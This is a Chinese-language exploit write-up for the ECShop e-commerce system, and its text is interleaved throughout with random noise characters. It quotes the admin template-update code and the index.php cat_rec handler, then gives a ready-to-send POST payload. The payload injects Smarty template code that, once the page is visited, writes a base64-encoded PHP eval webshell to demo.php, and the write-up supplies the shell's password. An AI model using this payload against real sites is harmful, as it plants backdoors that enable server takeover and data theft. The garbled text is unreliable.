首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
' K, T- ^3 _+ E/ _
* o2 k0 u4 d' B/ l而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
" l/ q' B- ?, b, n7 ], A* W但是ecshop似乎不支持{php}{/php}这个标签来执行php代码6 N5 r+ h6 q( b' a; Q
admin/template.php! Q, R! Z9 G$ O: y. e
9 |' U* {1 H2 Y: N0 w1 if ($_REQUEST['act'] == 'update_library') ! Q% j$ G$ j0 a: I/ m* L
6 W, D6 V) ^+ x" w2 , p0 d, Q' }' K" F& p0 l4 E1 L
1 c7 r4 v" q# Z0 o; u( W
3 { 1 a! H. [" e; n( A, S* U' t% B) \
6 e- u4 A* J3 m. P
4 check_authz_json('library_manage'); ) ^) q# D0 O( H/ w: J; O
. h) k7 w: X4 ^' S- a/ c
5
% r/ {& B& ~, N& j3 m4 D w* d$ M
" L* \. g" d+ Z6 $html = stripslashes(json_str_iconv($_POST['html'])); 3 j0 v9 H$ `! h! ?* F* u ~
9 P! p5 L/ q; \7 - Y0 J( x, Z4 F, b1 ~2 p& b
% h4 z+ _* |9 k! i+ `8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ; N8 u1 n3 F7 t3 n. z
; `# u% U* B2 s" O2 w
9 0 ~7 m! @* x$ W8 u' X9 _
: G, `2 ?, }% u8 m7 v& q' e% {9 u10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 G. E8 X; K8 Z$ N0 G+ @
L \8 a1 o4 H' `2 ?5 A N11 & u, S- P- R$ T0 F3 p$ H( |
+ ~$ a" _! d) q6 H1 A. k12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- Z/ g0 o$ d9 v" k; b3 y$ n' f) _
13
) T7 e: N! L: m* S* X8 Q0 l8 D* ]# ^7 E+ e/ Y+ Q% c* ^5 c8 g
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
i/ s1 n& W8 v! _6 C& ~" C' |! q4 A# o9 `$ w; [
15 { 9 | E6 Z6 A0 `( y" z: q" N% |# R9 o) s
) s, V* M9 Y9 x& ~4 Y/ {
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 6 Z) W2 ^" d+ w+ S% p3 F1 D
# t# @3 b% r* V" Y* v17 make_json_result('', $_LANG['update_lib_success']);
# O E$ h# C" w, F2 h( x) K3 c( E( }: @7 m
18 }
" u7 |6 O$ c H! L" o
: {- g5 x8 c' p1 X( ~8 i4 Z/ a19 else : a1 L% x+ o8 T# {: E
# s9 d( N6 M( n0 x' I20 { , D P% T0 R% Q; ~: O& u3 a
( t5 b! M# t( A @$ e. H8 P: t
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 0 { V7 V+ s: X, u9 M
* \, [$ [ F) ~
22 } 3 [! d; Z7 f0 V0 y- ~
0 M, ^1 n" Q/ u) W
23 } : H3 g: N ^! X
/ [, J# U/ Q' K0 ?% _那么找个比较方便调用了模板的文件1 `( k- o, V) S4 Z9 I
index.php9 h, E: L+ y$ Q3 k8 n& m
7 C! y' ]' [1 B# \/ ^
1 if ($act == 'cat_rec') / O8 Y4 x4 k4 ?1 D' `
2 W) N$ y0 P& B! @3 H0 C
2 + u* e5 |3 J6 G& h: O2 i
; } r; Z$ F/ e i. V- j. u* |% o& @& P
3 {
: R" Y8 r0 O) g& T/ S- a
4 t/ S2 `. v6 X3 S# a# q3 k0 q# \4
5 w. O6 ^0 |. G$ t x! g
1 E! J9 `4 x4 A0 Y. E5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
: b1 |. r; H G$ D" z% ]2 s
& J& N0 R' {; [& y. B0 k9 X. w6 , d4 ]+ g) }0 X: k8 {4 Y& D1 P
8 B1 _ L$ o( @" E" N% t
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! x3 O% M5 u. P `
# G3 ]: h3 X# {- C/ i" E$ J7 V
8
! L$ b, {" p: m; P% L7 P' j% e* o { v% |% ^/ J2 T
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 1 a0 N. J* D* g1 o& N/ O$ |
8 g' i0 D# V: K) l
10
& C& [7 _5 r" ]6 F7 Z/ t Y3 z9 G" \3 t U) x5 f! M2 D* o, W
11 include_once('includes/cls_json.php');
K r* x4 ^' p M) k7 _, ^& B# j. ]4 I% o0 }
12 1 u0 x# T; P1 [5 C# \& d; c! }
0 P3 C3 _6 ] a' j, p
13 $json = new JSON; / `: S' C R$ D5 n P
& }/ G( g X/ Q# l, A8 H
14
3 c8 g' a" g- O6 H# R$ r$ C( @ A0 `
6 y! ~2 x6 H% n- o9 k/ Z15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
" f) K* L5 Q( l# f9 _% T' c* A+ q r8 p1 [
16
2 ?4 {/ a: }; `% C" K* }( ], h5 v
[" C" z* ] g& u# W17 $children = get_children($cat_id); & J2 ?7 G% ?' m5 B& K
# r& e4 O9 ?. e- u18
9 I9 j' S4 J* I1 Q* a
% s8 j: P$ k! E% y19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
: V# q: z" }3 m5 x i2 r# V/ f9 H5 [6 ~. w8 C* D( D
20 ' F# m9 X- E1 Q* T W- `& w
1 X/ a( V) I% d2 j
21 $smarty->assign('cat_rec_sign', 1); 9 V; B2 \8 e8 D+ c( Q, r7 d' `
, V% u( R+ q! W5 I6 g# T" f5 C2 u* u6 P22
7 R! d( j N8 @! ^4 X/ z& @
, p, {6 u. s% z H% ^23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best + Y' i" W+ f2 \
" M& n G) O% D24 7 [/ u1 c- x6 h% I: ]9 a! M% E( x
. {( Z. i1 z# y4 x* x! o! }25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & [ i7 s+ H2 j0 G0 K. {, r# n9 A
* L: F# h0 i' t& e0 z+ E26 ! V9 ~: @7 F; S% K) Z, D
/ O3 b) V! l; V, y) g9 p27 echo $rec_array[$rec_type];
: f8 i: H$ y9 J! |
8 a1 \3 h! b* |/ s$ e" W28
5 z* W8 d' k4 H! r: B- G) y7 @/ z" C# E: G! C
29 die($json->encode($result)); 3 U0 S, M8 W5 A" l% k
+ a! l) ^; L' y. }30 . u3 i% x9 l4 `" x- ^: l
6 w1 z3 A, G# {7 L2 C- Y) [) {31 }
5 @9 h7 P V7 B) Z5 a% L" _* T: ^& x. o
那么就有利用方法了4 u2 _. Z5 y) q# V: ~+ _- c
post包到http://localhost/ec/admin/template.php?act=update_library9 _5 W7 V- a4 m6 {8 {4 X: \
Post内容:
" ~1 w1 Z4 J, w$ @) w/ @& |! y/ ?
$ K2 f; G P& A6 ], S/ C+ P1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 0 u% H2 ?+ [! p. H/ n
A) `3 s6 F( H9 |+ W
然后访问http://localhost/ec/index.php?act=cat_rec
: m1 ]3 P/ q( l/ |4 a ~! c
4 N* T6 O2 K! Ushel地址:http://localhost/ec/demo.php8 |- H! b5 n- m4 h' t5 V/ y5 @
密码c. [4 i& V; f) z; y7 ]; p1 u: }
7 P. }& D* P8 a8 p8 n: ^0 M
|